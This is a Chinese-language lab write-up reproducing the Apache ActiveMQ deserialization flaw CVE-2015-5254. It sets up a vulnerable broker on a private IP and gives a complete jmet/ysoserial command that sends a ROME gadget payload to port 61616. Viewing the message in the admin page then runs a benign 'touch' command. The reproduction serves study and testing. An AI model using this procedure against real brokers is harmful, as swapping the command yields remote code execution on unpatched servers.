Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现
一、漏洞描述
该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。
二、漏洞影响版本
Apache ActiveMQ 5.13.0之前的版本
三、漏洞环境搭建
1、官网下载ActiveMQ 5.11.1版本下载地址:http://activemq.apache.org/download-archives.html
2、解压
3、启动,进入bin目录下,运行./activemq start
查看是否启动成功,./activemq status
4、浏览器访问http://192.168.10.149:8161/,如下图可以看到成功搭建环境
四、漏洞复现
1、 漏洞利用过程如下:
a.构成(使用ysoserial)可执行命令的序列化对象
b.作为一个消息,发送给目标的61616端口
c.访问web管理页面,读取消息,触发漏洞
2、下载jmet的jar文件,下载地址为: https://github.com/matthiaskaiser/jmet,复制到kali的/opt目录下,并在当前目录下创建一个external文件夹。Jmet原理是使用ysoserial生成payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
3、执行如下命令
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.10.149 61616
4、此时会给目标的ActiveMQ添加一个名为事件的队列,通过访问http://192.168.10.149:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有的消息
5、点击查看这条消息即可触发命令执行
6、此刻查看/tmp/,已经成功创建,说明漏洞利用成功